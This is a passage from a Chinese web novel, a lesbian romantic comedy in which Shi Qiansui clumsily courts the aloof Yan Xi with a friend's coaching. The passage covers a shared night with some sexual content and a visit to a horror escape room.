“而且,这次见面后,我们短时间内见不到了,你不想我?”
一旁的时千岁成功抓住了“最好的朋友”这个几个字,眼见两人僵持不下,她小幅度拉了一下言浠的袖口,劝道,“反正就只有一天,我们就收留她呗。”
言浠听闻渐渐松开了手,妥协道,“行吧。”
韩曲凌:“”合着她刚刚求了半天,不如小徒弟一句话好使。
言浠朝怀疑人生的韩曲凌招了下手,“我有话跟你说。”
两人走到客厅角落,背过身去,言浠先一步开口,冷声道,“我和她什么都没有发生,现在没有,将来也不会有可能。”
憋了一肚子八卦的韩曲凌:“”
不太信。
“之前的事,一个字也不要提,包括我们的身份,知道吗?”言浠极具威胁性地眯了眯眼,“否则”
韩曲凌不由自主地打了个哆嗦,“明白”
一道幽怨的声音自背后传来,“你们还没聊完么?”
言浠又给了韩曲凌一警告眼神,这才转过身,“完了。”韩曲凌在她背后把手指放到嘴角比了个拉拉链的动作,慢一步跟上前。
看着两人眉来眼去的举动,时千岁心里打翻了醋坛子,“有什么事是我不能知道的?”
“没什么,叙叙旧而已,”言浠面无表情。
“哦,”敷衍,时千岁不满地撇了下嘴角,但碍于有客人在场,还是强行把这股醋意压了下去,“等下是出去吃饭,还是去哪里玩?”
言浠淡淡道,“也不必那么麻烦,”她简单地扎了个低马尾,套起围裙往厨房走去,“你上次买了那么多食材,不吃就坏了,她来的正好。”
韩曲凌:“???”
什么叫来的正好?三十六度的体温是怎么说出这么冰凉无情的话的!
韩曲凌气愤。
“韩叔叔”
韩曲凌对这个称呼还很陌生,一时没反应过来,直到时千岁坐到了她身边,又唤了一声,“韩叔叔,你真是言浠姐的朋友吗?你们怎么认识的?认识多久了?”
韩曲凌:“”
怎么还查上户口了。
韩曲凌琢磨了一会儿她刚刚的语气,又留意到她时不时瞥向厨房的目光,突然间恍然大悟,兴奋一拍巴掌,问道,“你喜欢言浠?”
时千岁给她倒了杯水,递过去,大大方方承认,“是啊。”
“啧,这该死的缘分!”
糟糕,一不小心秃噜瓢了,韩曲凌紧急捂嘴。
时千岁眸心一亮,“所以,你也觉得是缘分对吗?”
韩曲凌见她未察觉,心底松了一口气,支起身子开始八卦,“所以,现在进行到哪一步了?”
时千岁却是愁容满面,长叹一口气。
“表白了,”她伸出两根手指,“还是两次。”
“一次没听着,一次被骂了。”
“哦,”时千岁补充道,“也约会了,去看了老中医。”
韩曲凌憋不住了,表情一度扭曲,“那也挺别具一格的”
眼前人眼角一耷,仿佛下一秒就要哭出来似的,韩曲凌没忍心再调侃她,急忙道,“具体说说,叔叔帮你分析下。”
“好叔叔!”时千岁立刻打起了精神,把她的心路历程和表白过程一五一十地讲了一遍。
韩曲凌的表情从诧异到震惊,到最后生生的化成了一座雕像,缓了约么五分钟,才开口完整的说了一句话,“谁教你这么追人的?”
时千岁咬了个字眼,重复道,“追?”
看她迷茫的眼神,韩曲凌懂了,这小徒弟恐怕是光顾着自嗨了。
“傻孩子,两个人在一起哪有你想的那么简单。”
“怎么会呢?”时千岁不解地挠挠头,“我老爸当初见我妈第一面就跟人表白了,第二天就扯证去了。”
韩曲凌凌乱:“”
“还有我老姐,”时千岁怕其不信,拿起手机,打开了和时千金的聊天记录,给韩曲凌展示。
韩曲凌的沉默震耳欲聋:“”
时千岁见她不说话,讨好地拉了拉她手臂,“怎么办啊叔叔?”
“怎么办能怎么办,跟你姐学啊,直接点,睡了她,”韩曲凌无语。
时千岁眉头皱了皱,思考片刻,抬起了头,“不行!”
她嗫嚅道,“言浠姐会功夫,我怕她一脚给我踢下床”
韩曲凌:“”
“你倒还算是有自知之明。”
“我就想不明白了,你一写”
一着急差点又说漏嘴,韩曲凌舌头打了个弯及时把“小说的”三个字咽了回去。
她清了清嗓,一本正经的讲,“两个人在一起的前提肯定是互相喜欢啊,你知道什么是互相吗?”建立好感、试探、暧昧、拉扯,最后水到渠成互表心意,哪有上来就这么勇的?也不知道这百合频金榜第一是怎么来的。
“那怎么办啊,”时千岁抓着她的手臂苦苦哀求道,“韩叔叔,你帮帮我吧。”
言浠听到动静,从厨房出来,目光落在时千岁的手上,声调骤然冷了几个度,“聊的真热闹。”
韩曲凌紧急撤回了一条手臂,言浠脸色微缓。
“你们俩都不知道帮忙的?”
沙发上的两人异口同声:“我们怕给你添乱。”
言浠:“”倒有几分道理。
厨房门一关,两人继续刚刚的话题。
就言浠刚刚对小徒弟那快要溢出屏幕的占有欲,以及默许两人“情侣用品”这一行为,很难不让人觉得她对小徒弟没有好感。
太好玩了,韩曲凌打算试探试探。
“行,叔叔帮你,但是有一个要求。”
时千岁痛快应道,“没问题。”
韩曲凌笑了笑,打趣道,“你就不怕我要金山银山啊?”
时千岁认真道,“那没有,但几百万我还是拿得出来的。”
韩曲凌:“”
嘿,这小富二代真大方。
韩曲凌不再逗她,正经道,“你还认不认识其他单身的富二代小姐妹?介绍一个给叔叔,叔叔不想努力了。”
这么一说,时千岁脑子里立马蹦出一人来。
“你别说,还真有这么一位。”
“跟言浠姐一个公司的,也是管理层,家里做医药产业的,公司遍布全国。”
“年龄跟你应该差不多大,身高大概有个一米七,高学历长相身材中上,性格沉稳,能力强,关键人还特专一,动不动就爆金币,”时千岁昧着良心把林沐涵里里外外跨了个遍。
韩曲凌嗤笑一声,好整以暇地望着时千岁,“你情敌啊?”
时千岁惊,“你怎么知道!”
“看你那咬牙切齿的表情就知道了。”
没想到啊,这小脑袋瓜关键时候转的是真快,还是小瞧她了。
时千岁不好意思地摸摸脑袋,“我就当你答应了。”
“所以你打算怎么帮我?”时千岁好奇。
韩曲凌看了看那道在厨房独自忙碌的身影,狡黠一笑,“瞧好吧。”
华灯初上,冒着勾人香气的饭菜一盘盘端上餐桌。
八菜一汤,摆盘精美,色香味俱全。
韩曲凌馋涎欲滴,心里默默为刚才吐槽言浠道歉。
什么冷漠无情,这简直是待客最高礼仪。
时千岁把餐盘摆好,坐到韩曲凌旁边,趁言浠不注意,轻声唤了一声,“韩叔叔。”
韩曲凌,“啊?”了一声,目光仍不愿从饭菜上移开。
时千岁见状,从餐桌下伸出一只手,拧上了她的大腿。
“啊!”韩曲凌吃痛尖叫。
言浠疑望过来,“怎么了?”
“没事没事,”时千岁朝韩曲凌飞快地眨了眨眼。
韩曲凌收到信号,
两人开始眼神交流。
——叔叔,别光顾着吃,记着点正事!
——痛死了!知道了!
“嗡嗡”桌上手机震动一声,韩曲凌抬眼,见言浠朝她晃了晃手中手机,示意她看消息。
韩曲凌暂停了眼神交流,伸手按开屏幕。
言:【你们两关系什么时候这么要好了?胳膊肘往外拐?】
啧,这话说的,酸味都要溢出屏幕了。
韩曲凌悠悠打字。
【什么叫胳膊肘往外拐啊?我要真欺负你小徒弟】
一股危险气息扑面而来。
韩曲凌立马补充:【你又不高兴。】
“对了,”是时候该拱一把火了,韩曲凌暗灭手机,向言浠挑了挑眉,“我喜欢小时,我今晚跟她一起睡。”
时千岁不知道她葫芦里卖的什么药,急忙去扯她衣角,韩曲凌眼神示意她淡定。
只见言浠脸一黑,徒然拔高了音调,“你做梦!”本来第一次见面,韩曲凌就打这小家伙的主意,现在还想一起睡,不可能。
韩曲凌两手一摊,十分为难,“那怎么办,一共两间房。”
“要不然”韩曲凌指了指一旁的时千岁。
“你跟她睡?”
时千岁眼眸微亮:“!!!!”
我我可以!!!
【作者有话说】
韩叔叔:瞧你这话说的,我要真欺负你小徒弟,你又不高兴~(摊手)
28
第28章
◎可能一根手指就能◎
时千岁以迅雷不及掩耳之势之势站了起来,腰板笔直,两眼放光。
她举手:“我我可以!”
果然,年轻人脸上就是藏不住事,韩曲凌心里啧啧两声,直拽她袖子,“出息。”
言浠静静睨了时千岁一眼,“你可以什么?”
“我我我我……”时千岁一时语塞。
哈哈哈哈哈,看着时千岁憋红的脸,韩曲凌终是没忍住,笑出了声。
只听话锋一转,冰冷的眼刀射向了她,言浠说,“你睡沙发。”
苍天啊,这个无情的女人!韩曲凌悲痛高呼。
时千岁的失落肉眼可见,身子顺着椅背慢慢滑了下去。
言浠敲敲桌子催促:“吃饭!”
韩曲凌迫不及待拿起了筷子。
…
这顿饭吃的异常安静。
时千岁心事重重,毫无聊天欲望,而韩曲凌只顾大快朵颐,根本无暇顾及其他。
吃完饭,韩曲凌一脸满足地仰在沙发上消食,沙发垫一沉,一道幽怨的身影坐到了她身边,一言不发。
韩曲凌揉揉肚子:“隔~”
时千岁“嗖”地转过了脸,牙缝里挤出几个字,“就知道吃!”
韩曲凌惬意地眯了眯眼,“不能怪我,怪就怪你家那位厨艺…”她亮出个大拇指。
时千岁忽地勾起唇,与有荣焉道,“那是。”
“我吃的好吧,你羡慕吗?羡慕就自己想办法啊,别指望我给你介绍小富婆。”
韩曲凌:“……”
这话听着一股子怨气呢,韩曲凌终于察觉到了她的情绪,撑起身子,问,“怎么啦?”
时千岁一字一顿,“不靠谱!”
“说好的帮我呢,说好的一起睡觉呢,就这么算了?”
“猴急什么?”韩曲凌“啧”了一声,招了招手,时千岁满腹疑惑的附耳过去。
韩曲凌高深莫测,“你要学会利用你自身优势…”
…
言浠收拾完厨房,出来见客厅只剩时千岁一人,不仅疑惑,“她人呢?”
时千岁背身跪在沙发上,闻言,停下手中活,善解人意道,“韩叔叔舟车劳顿,我让她先去休息了。”
说完,继续铺她的小被子。
言浠:“???”
言浠一瞬不瞬地注视着她的举动,许久,终是没抵住好奇,问,“你在干什么?”
“哦…”时千岁回头,笑容纯良,“我在给自己铺床。”
“来者是客嘛,总不能真让人睡沙发吧。”
“而且,她还是你最好的朋友,当然要好好照顾了。”
言浠眸光一冷,不悦道,“她需要你照顾?”
“不是的,你别怪韩叔叔,是我主动要求的。”
言浠深深看她一眼,扔下一句,“随便吧,”转身往卧室走。
身后一声闷响,声音带着哭腔……
“嘶,好痛。”
言浠不自觉拧起了眉头,顿住了脚步,“怎么了?”
时千岁捂着膝盖,肩膀微微发颤,片刻抬起头,洇红的眼尾滚出两颗晶莹的泪花,就连语气也湿漉漉的,“不小心磕到了。”
“上次我买的沙发要是没有退掉就好了,这个好硬,也伸不开脚。”
时千岁看她表情松动,又咬了咬下唇,强行挤出一个笑容,“不过没关系,我都可以克服。”
小家伙楚楚可怜的模样深深烙印进了言浠的心里,紧紧牵动着她的脚步,她内心天人交战。
“言浠姐…你有电风扇嘛?”
“客厅没有空调,好热啊~”
软绵绵的声音更添一把火,言浠掐了一下指腹,终于松了口,“要不你和我凑合……”
“不凑合不凑合,”时千岁欢快的从沙发上蹦了下来,一路小跑,变脸之快让人瞠目结舌。
“你放心我不会对你怎样的!”时千岁竖起三根手指。
言浠眸心一震,不自觉的就拉高了声调。
“你能对我怎么样?”
不能表现太夸张,时千岁终于是记起了韩曲凌提醒,放慢了脚步,找补道,“嘿嘿,我的意思是说,我睡觉超级老实。”
是吗?
言浠心中莫名生出几分悔意
洗澡间隙,时千岁回卧室取睡衣,韩曲凌半倚在床头。
“你不该夸夸我吗?”
时千岁两只手各抓一件内衣,一副难以抉择的模样,心不在焉道,“牛啊牛。”
韩曲凌“嘿”了一声,“真敷衍,你这叫卸磨杀驴。”
“哪有,”时千岁猛地回过身,向她晃了晃手里物件,“这两个哪个好看?还是不穿?”
嚯,现在小年轻都这么放的开吗?言浠有福了,韩曲凌挑挑眉,友情提醒道,“你稍微克制点。”
“好吧”时千岁依依不舍的把手中布料极少的三角、裤放回,挑了件中规中矩的薄纱白裙,“知道了,慢慢来,不然言浠会给我踢下床对吧?”
韩曲凌:“”
不是,她的意思是怕言浠受不了。
韩曲凌也没解释,目送时千岁出了门。
不出两秒,时千岁再度冲了回来,捞走了那件言浠亲手为她换过的黑色蕾丝。
“克制不了一点!”
韩曲凌:“”
时千岁深吸一口气,稳了稳情绪,这才轻轻推开门。
环顾室内,这是言浠长久以来生活的地方,到处都充满着她的气息。上次进来没来急好好打量,时千岁这次放慢了脚步。
酒柜的酒上次说完之后,真的被清空了,可见言浠是一个有着严格执行力的人,时千岁打开衣柜,里边衣物不多,按颜色分类,基本都是偏冷色系,一眼望去干净整洁。时千岁又绕到写字台前,上边支着一台款式相对老旧的笔记本电脑,她上次想送她一台性能好的,被严辞拒绝。
电脑的键盘是独立的,款式是珂芝两个月前上架的限量款,但上边的字母磨损却极为严重,时千岁心中疑惑一闪而过,言浠工作需要长期频繁打字吗?
她手指不小心触碰到鼠标,电脑弹出来一张屏保。
——颠死这个世界。
这精神状态,也太可爱了吧,时千岁绷不住了,扶着桌子笑弯了腰。
抹了把笑出来的泪花,时千岁转头欣赏起了言浠的书橱,这约么是整个卧室最抢眼的陈设,里边书籍种类丰富,包含了历史、宗教、文学、哲学各个域,而且每本都有翻阅痕迹。
时家有个专门的收藏室,时来运弄得,里边除了古玩字画最多的就是书,几乎收藏了从古至今国内外所有典籍,但只起到了一个装饰作用,连书封都没拆,所以现在补救还来得及吗?时千岁郁闷地想。
时千岁随手抽出一本佛经,打开一页,里边是言浠的临摹,字体苍劲有力,力透纸背。
连写个字都这么好看,不像她,鬼画符一般。
浴室水声戛然而止,时千岁急忙把佛经塞了回去,人一溜烟跳上了床,盖上了沾染着言浠体香的小毯子。
脚步声逼近,好闻的冷香缠缠绕绕涌进鼻腔,时千岁耳膜中心跳声越发鼓噪,随着卧室门“吱呀”一声响,言浠的身影映入眼帘,时千岁呼吸加重,大脑霎时间一片空白。
言浠被热气和水汽裹挟着,裸露在外的皮肤流淌着一层诱人的粉,落在那张冷艳逼人的脸上便增添了几分令人遐想的媚态,分外性感。
时千岁“嗖”地背过了身,掏出了手机,给隔壁的韩曲凌发消息。
【俺不中嘞。】
韩曲凌甩来两个大字:【出息!】
没出息就没出息吧,时千岁打了两字:【腿软。】
韩曲凌:【】
时千岁合上手机,面对墙壁,做着深呼吸。
身后传来阵阵敲击键盘的声音。
手速真快,不知道其他事情上怎么样她又是一整个浮想联翩。
身上燥热不止,时千岁此时像一只煮熟的小龙虾,扭来扭去。
敲击声中断,言浠抬头看着床上不断躁动的人影,问,“是不是吵到你了?”
时千岁一怔,“没没有。”
言浠复而低下头,继续打字,“那你先睡,不用等我。”
时千岁拧眉,如此良辰美景良辰吉日,良宵难得怎么可能先睡?多没情调!
“不要!”
回答她的是接连不断的键盘音。
时千岁咬了咬唇,转过了身,问道,“你在写什么?要不我陪你吧?”
言浠指尖一顿,见她有起身动作,慌乱地扣上了电脑。
“忙完了。”
时千岁不疑有他,掀开了毯子,做出邀请动作,“快来。”
言浠的视线猝不及防的撞上了裙底风光,被寥寥布料勾勒的雪白臀、瓣。
她眸心一震,飞快地移开视线,“把裙子穿好!”
时千岁向下望去,见裙摆不经意间揉至到了腰际,她笑的十分坦荡,“言浠姐,你害什么羞,都看过多少次了,你忘啦上次我生病你还帮我换了内裤?”
“就是这条,”时千岁指尖勾着纤薄的布料,向她展示了一圈,“喜不喜欢?”
本就少得可怜的布料一经拉扯,那片隐秘的花园也变得清晰可见,言浠想,小家伙可能是她见过形状的最美的花,娇艳欲滴,粉嫩可口,可能一根手指就能言浠喉咙滚了滚,眼神也变得幽暗。
久未出声,时千岁有些慌,她收敛的把裙子拉上,规矩的躺好,“不逗你了,别生气言浠姐,快睡觉吧,时间不早了。”
言浠几不可闻地发出一声惋惜
言浠关了灯,躺到床边,和时千岁保持了约么两个身位的距离。
房间陷入黑暗,气氛便变得暧昧,彼此的呼吸声清晰可闻,时千岁的心跳一下比一下更剧烈。
“言浠姐。”
“嗯?”
言浠的嗓音沾染着夜色的沙哑,格外蛊人,时千岁本就不多的理智瞬间土崩瓦解,她移到言浠身边,侧身环住了她的腰。
言浠被突如其来逼近的热源烫的浑身一震,下一秒睡裙中伸进了一只不安分的手。
柔软的指腹若即若离,轻轻的触碰着她的肌肤,带起绵延至心底的痒,以至于呵斥出口的那句“手拿开”都变得毫无威慑力。
这无疑加剧了时千岁的放肆。
察觉到腰间的手正向上移动,言浠呼吸一滞,猛地抓住了时千岁的手腕,将她作乱的手拉出反扣到床上。
眼前人疑似痛苦地闷哼一声,言浠眉心一皱,松了松手上的力度。
时千岁趁这间隙,直接翻身而起,骑到了言浠的腰上,“言浠姐”
“我想”
被骗了,言浠又气又恼,瞪过去,“你想什么想!”说好的睡觉老实呢!
“下来!”
“不下”
行,言浠伸手拉开床头柜,从里边来摸出一条绳子,三下五除二把时千岁双手捆了个结结实实。
起身给她扔到了床上,绳子另一头绑到了床头。
时千岁扭捏,“玩玩这么花吗?”
29
第29章
◎言浠姐一定是性冷淡◎
做完一切,言浠直接转身下床,掏出来那本佛经,坐到写字台前拿出只钢笔开始专心抄写。
时千岁从开始的挣扎到后来的求饶,好话说尽了,言浠始终连头也不抬。
不知过了多久,时千岁终于闹累了,睡了过去
翌日,时千岁悠悠转醒,下意识地摸了摸身侧,一片冰凉。
她抬眼寻去,卧室里没有发现言浠的身影。
摸到手机,看了眼时间,手腕上浅浅的红痕闯入眼帘,绳子却消失不见。
依稀记得昨晚的悲惨遭遇,时千岁长叹一口气,趿上拖鞋,走出了房间。
“怎么了,妹妹?”韩曲凌倚在沙发上,好整以暇地看着她,“怎么这么一副忧心忡忡闷闷不乐的样子啊,昨晚战况如何?”
时千岁憋闷地问,“言浠姐呢?”
韩曲凌下巴指了指门口,“刚出去了,可能是买早饭去了吧。”
时千岁又是长叹一口气,“哎。”
韩曲凌一拍膝盖,急道,“你快说啊,老叹什么气啊!”
时千岁站起身,面对着韩曲凌,转了个圈,“你觉得我长得怎么样?”
韩曲凌比了个大拇指,“大有姿色。”
时千岁又问,“你觉得我身材怎么样?”
韩曲凌大拇指仍伸在空中,实话实话道,“这A4腰,这小长腿,绝了,所以呢?”
时千岁重重地落回进沙发里,郁闷道,“勾引她的事我全干了,就差给自己扒光了骑她脸了。”
“然后呢然后呢?”韩曲凌目光炯炯。
时千岁把手腕伸到她眼前晃了晃。
韩曲凌眼睛瞪的像铜铃,“嚯,你们玩的真花,瞧你这细皮嫩肉的,言浠真舍得?”
“我倒希望她玩的花,”时千岁苦笑了一下,“她只是单纯的给我捆了起来,晾在了一边。”
韩曲凌:“”
“那确实怪惨的,”突然不知道怎么安慰她了。
就在两人沉默之际,言浠回来了,拎着一个小塑料袋。
韩曲凌问,“你不是出去买饭了吗?”
言浠给了她一个冰冷的眼刀,“偶尔饿一顿挺好的。”
韩曲凌:“”怎么这么暴躁。
言浠又看了眼坐在一旁的时千岁,把手中小袋子扔了过去。
“这是什么”
言浠目光移向她泛红的手腕,“药膏,一天涂两次,”又在时千岁开口说话之前瞪了她一眼,没好气道,“我去睡一会,十二点之前别进来打扰我。”
“你昨晚没睡好吗?”
言浠脚步一顿,重重地咬了一遍这个字,“睡?”她能睡好吗?抄佛经抄到二半夜,好不容易有了困意,刚眯着不出五分钟,这小家伙的手就往她怀里钻,上上下下摸了个遍。
恨呐,要怪就怪她自己于心不忍,给小家伙松了绑。
言浠“哼”了一声,大步走进卧室,重重地摔上了门。
“砰”的一声震响,时千岁呆立在了当场。
韩曲凌以为她被吓到了,绕到她跟前儿,伸手使劲晃了晃,“妹妹,言浠就这脾气,你别难过啊。”
时千岁缓过神,自顾自的笑了起来。
韩曲凌:“嗯???”
时千岁认真问,“你说刚刚言浠姐那声“哼”像不像在撒娇?好可爱。”
韩曲凌一噎,“不是,你恋爱脑吧”
“嘿嘿,我姐也这么说我。”
韩曲凌:“”
还挺自豪
时千岁拉着韩曲凌坐回了沙发上,手中袋子紧紧压进怀里,满脸幸福,“看,言浠姐多宠我,觉都不睡特地下楼去给我买药膏。”
韩曲凌:“”
“对对对,所以你要不要把这药装个盒子里供起来?”没救了
“那倒也不必,我是觉得吧,言浠姐心里一定是有我的,是在乎我的。”
“就在刚刚,我得出个结论,”时千岁笃定道,“言浠姐一定是性冷淡!”
前一句嘛,认可,后一句嘛
韩曲凌睡觉不算太死,昨晚隔壁进出门的声音和浴室水声响了两次她可是听见了,而且,她瞟了一眼阳台上晒着的较昨晚多出来的睡裙和内衣裤,分明就是言浠昨晚身上的那件。
什么情况需要大半夜的洗澡,又是什么情况要里里外外的换洗衣服?
性冷淡?呵呵绝不可能!
“韩叔叔,你笑什么?”
“咳没事,”韩曲凌清了清嗓,故作严肃道,“我觉得你说的很有道理呀,那我问你,言浠要是性冷淡的话你要怎么办呢?”
时千岁沉思片刻,忽而抬眸,认真道,“我虽然很想让她上我,但我还是要尊重她。”
“床上这些事时间久了难免会归于平淡,晚适应不如早克服,而且现在小玩具那么多,我可以对着她的照片自给自足,你是不知道就言浠姐那张脸,我看见我就能”
“打住!”越说越没边,韩曲凌赶忙叫停。
“克服吧,祝你早日从纯欲变成纯爱。”
这两人,可真有意思,韩曲凌决定看破不说破,她转手给言浠发了条消息。
【这次我可没胳膊肘往外拐!】
时千岁十二点钟准时敲响了言浠的房门,三人驱车去附近的商场吃了个午饭,然后一起商量着下午去哪玩。
韩曲凌来过很多次北城,这边的景点都逛腻了,所以提议去找点刺激。
“密室去呗?”
“前几个月不是好多营销号都在宣传,北城开了一家全国最大的极恐校园主题密室吗?道具和NPC很牛批,故事背景还是真实事件改编的,听说开业那阵把好几个人吓进了医院。”
“去不去去不去?”韩曲凌一脸兴奋。
时千岁光是用听的就已经头皮发麻脚跟发软了,连忙摆手拒绝,韩曲凌见状急忙把她拉到一旁,说起了悄悄话。
“笨死了。”
韩曲凌屈指敲了下她额头,“我这是再给你俩制造机会啊。”
时千岁一头雾水。
平时的机灵劲呢?韩曲凌无语道,“你害怕就往她怀里钻啊,还要我说的再明白点吗?”
时千岁内心天人交战,“可是我怕下一个被送进医院的就是我,上今日头条不说,言浠姐心里会怎么想我,又会不会嫌弃我?”
韩曲凌:“”这小脑袋瓜想的还怪多勒,笨死得了。
“你不说言浠宠你疼你么?”
时千岁:“也是哦”
“那你玩点苦肉计适当的柔弱一下怎么了?我今天就去酒店住了,你难道不想继续和言浠同床共枕?”
“想,但”时千岁笑的勉强。
“啧,没出息,看你怂的。”
时千岁:“没出息怎么了,我老妈老妈说了,我过的开心就好,没必要有什么大出息,反正家里的钱我几辈子花不完,就算花完了,我还有我姥姥姥爷”
韩曲凌一梗,张牙舞爪道,“我跟你们有钱人拼了!”
在韩曲凌的强烈建议以及坑蒙拐骗下,两人终是同意了陪她去玩密室逃脱。
几人驱车来到场地,入口处已经排起了长龙。
一个穿着染血校服的店员小姐姐给在场的客人分发游戏手册。
时千岁接过,认真阅读。
主题:【返校日】
故事背景:松仁高中新学期开学了,今日本应是学生返校的日子,学校门口却是空无一人,一夕之间变得破败不堪的教学楼锈迹斑驳的铁门,空气里弥漫着腐烂破败的味道,以及多出来的“禁止入内”的警示牌,将整个学校围绕上了一层诡异的气息,“本台记者现场急报,松仁高中发生了惨绝人寰的屠杀事件,师生九百余人无一生还,时间1970年2月23日下午14:03分。”
请各位玩家查找事情真相,努力从交错的时空中存活下来。
韩曲凌指着上边的故事背景问时千岁,“啥意思?”
时千岁言简意赅,“穿越了。”
言浠幽幽道,“穿越、死九百余人,真实事件改编?”
韩曲凌嘿嘿一笑,“营销号虚假宣传呗。”
话虽如此,时千岁可一点不觉得“吓进医院”这话夸大,刚刚进去的一对小情侣可是连五分钟都没坚持到就哭着跑出来了
时千岁三人和另外两男一女临时组队,进入之前工作人员特别有仪式感的为几人分发了校服,并告知几人注意事项。
韩曲凌把校服披上身围着二人转了一圈,“梦回高中,是不是瞬间年轻十岁?”
时千岁只顾紧张,完*全没听清她说什么,言浠只给了她一个无语的眼神。
临时组队的其中一男的见状,上赶着过来搭茬,“妹妹本来就年轻。”
好么,现在轮到韩曲凌无语了,她立马甩过去一个大白眼,“叫谁妹妹呢?”
这人丝毫不懂得看人脸色,更是把和他同行的那对小情侣拉过来,给几人介绍,“你们都是新手吧?这里我玩了好几次了,可是铁坦,等会我打头阵,你们跟我后边哦,我保护你们。”
话音刚落,工作人员给几人带上眼罩,领她们入场。
一路忐忑走过长长的通道,摘下眼罩,一座荒废的学校映入眼帘。
入口处歪着一个警示牌,上边四个鲜红的四个大字——禁止入内。
残破的教学楼被阴云笼罩,窗口黑压压的,像是隐藏着什么未知的可怕。
一阵阴风吹过,生锈的大铁门发出刺耳的响声。
时千岁双腿发颤,脚步像是扎根在了原地,动弹不得分毫。
“我刚手机查了一下,她们的场景是直接在育德十六中的基础上还原的,”言浠眼尾余光撇了一眼被吓得木楞的小家伙,问道,“育德十六中为什么荒废的你们知道吗?”
时千岁紧紧攥着衣角,“不不知道。”
言浠幽幽道,“火灾,烧死了八个人,后来”她停顿了一下,重重咬了两个字,“闹鬼。”
时千岁脸色刷一下就白了,声音颤抖,“真真的吗?”
言浠恶作剧得逞,不动声色地勾了下唇,“骗你的。”
时千岁:“!!!”
坏女人!
身后同行的“铁坦”长长地松了口气,故作轻松道,“对嘛,这世界上哪有鬼啊,好了,走吧都跟在哥后边!”
他挤到最面前,开路。
几人走到铁门前,铁坦正研究着上边的铁链怎么打开,空中传来“嘶啦”的电子音,断断续续的广播声随后从上空响起,“急报松仁高中发生了屠杀事件,死亡共计九百余人,如有幸存者请于十分钟之内前往209教室集合。”
随着广播落下尾音,门上铁链随之断裂成两节。
铁坦一边推门,一边扭头冲她们笑,“都是小儿科,别怕啊。”
随着铁门推动,灯光一暗。
头顶白底黑字的牌匾后突然弹出了一具上吊的女尸,长发遮面,两只脚晃荡在空中。
时千岁脑子“嗡”地一声,一声尖叫,下一秒人就跳到了言浠的身上,一口咬住了她的肩头。
长睫微颤,一声娇柔的轻喘自唇齿之间自然而然的婉转而出。
韩曲凌刚从惊恐中回神就看到紧紧相贴的两个人,以及言浠那抑制不住高高上扬的嘴角。
韩曲凌“啧啧”两声。
心道:闷骚,爽死了吧。
30
第30章
◎莫要勾引我!!!◎
丝丝颤意透过薄薄的衣料渗至皮肤,激起心湖荡漾,言浠的掌心顺着眼前人漂亮的蝴蝶骨滑至腰间,轻柔的安抚着,直至怀中人停止了轻颤,言浠垂下眼,注视着她湿润的睫羽,柔声问,“又咬人,你是属狗的吗?”
时千岁刚刚平复的心跳又因耳畔滑过的温热而搅起一番波澜,她紧了紧手臂,听从心意的把发烫的脸颊埋进言浠颈窝小声撒娇,“还不是因为你吓唬我。”
言浠心软化了一滩水,自然的放纵着怀中人距离的贴近。
韩曲凌看着保持这个亲密姿势足足有一分钟的两人,成功打了个饱嗝~
撒狗粮也不分分场合。
她正欲打趣,位于最前边的男人,一屁股坐到了地上,慢半拍地喊了句,“妈呀。”
韩曲凌朝他飞了个大白眼。
心里一个劲吐槽,说好的“铁坦”呢?就这小胆儿,呵呵。
感受到气氛的尴尬,“铁坦”回头装作若无其事的样子给自己找了个蹩脚的说辞,“脚滑了。”他先调侃了惊魂甫定的同行好友一番,又把目标锁定到了时千岁身上,“呦,小家伙,你原来是毒奶啊。”
小家伙?专属称呼被抢,言浠脸一沉,眼神凝成了一把冰刀,直直的刺向了“铁坦”。
“铁坦”没来由的打了一个哆嗦,他抬眼看向阴恻恻的四周,心里直发毛,嘀咕道,“这地挺邪性啊。”
时千岁没察觉到身边人的低气压,探出个脑袋,好奇的问“铁坦”,“啥是毒奶?”
“铁坦”见打入场就没瞧过他一眼的女孩终于搭了腔,火速回神,挤上满面笑容,“就是胆最小的那类玩家,动不动就挂在别人身上的挂件。”
挂件啊,如果能一直挂在言浠身上,那她可太愿意了,时千岁美滋滋的想,情不自禁的露出了笑容。
聊得这么开心?言浠眉宇间染上一抹燥意,突然松开了手,把人放到了地上,头也不回的向铁门里走去。
“哎?”时千岁一愣,急忙喊她,“等等我呀,言浠姐,我腿软”“铁坦”仍喋喋不休,“还有种说法,就是又菜又爱玩,一惊一乍的时候比NPC还吓人。”
谁菜了?时千岁不满地瞪他一眼。
“没事啊,有哥在,哥坚实的胸膛永远为妹妹们敞开,”今天难得遇见三美女,可得好好表现一下。
韩曲凌白眼快翻上天了,没好气道,“快闭嘴吧你,”再多说一句话,信不信闷骚等下让天上下冰刀子?没眼力见的,她把男人扒拉到一边,拉起时千岁朝着言浠追了过去。
穿过暗阒阒的青石小道,眼前的景象让几人震慑当场。
只见一个操场横在了主教学楼前,操场上围堆满了坟包,白色的招魂幡随风飘荡,而言浠此时就站定在一座坟前,像是鬼上身一般对着面前的空气说话,绿色的烛光打在她脸上,显得极为诡异。
言浠突然把头转了四十五度,面无表情的脸上缓缓拉出来一个阴森可怖的笑容,幽幽目光如毒蛇一般射向了“铁坦”,并朝他挥了挥手。
“铁坦”脸色一下变得惨白,“嗷”一嗓子连退数步,拉起旁边那对抱在一起瑟瑟发抖的小情侣就跑,“我们退出”
韩曲凌:“”
就这?
眼睁睁看工作人员把三人带出场地,韩曲凌拉了一把身后人没拉动,回头一看,只见时千岁目光呆滞,像是吓傻了一般。
韩曲凌用胳膊肘捅了捅时千岁,小声吐槽,“你还没看出言浠的恶趣味吗?就喜欢吓唬人。”
时千岁慢半拍回过神,轻轻咬住了粉润唇瓣,眼底涌出几朵泪花滚动,欲落不落的。
好一副惹人疼的娇弱姿态,韩曲凌不由看直了眼,直到感受到身后冰冷的视线,她浑身一颤,猛地向后一指,“跟言浠哭去,”她吃这一套。
时千岁吞吞吐吐,“我我有点害怕她。”
韩曲凌:“”出息。
言浠见两人杵在原地不动,走上前来,“怎么了?”
韩曲凌直接一个转身先行一步,给二人留出空间,“还不是你吓的。”余光向后一看,好家伙,时千岁一看言浠过来,直接软塌塌地钻进了她怀里。
到是把她交代的话实行了个通透
“那冒绿光的蜡烛是塑料的,”言浠吐槽,“墓碑刻的名字是楚人美和贞子场景搭建的简陋又敷衍,”她本想说别怕了,都是假的,哪知怀中人听到这两个童年阴影名字时更是身躯一颤。胸口衣襟染湿了一片,言浠只能软声哄她,“不是吓唬你,我们走吧。”
时千岁脸往下一埋,感受着柔软,声音闷闷的带着哭过后的湿意,“不要。”
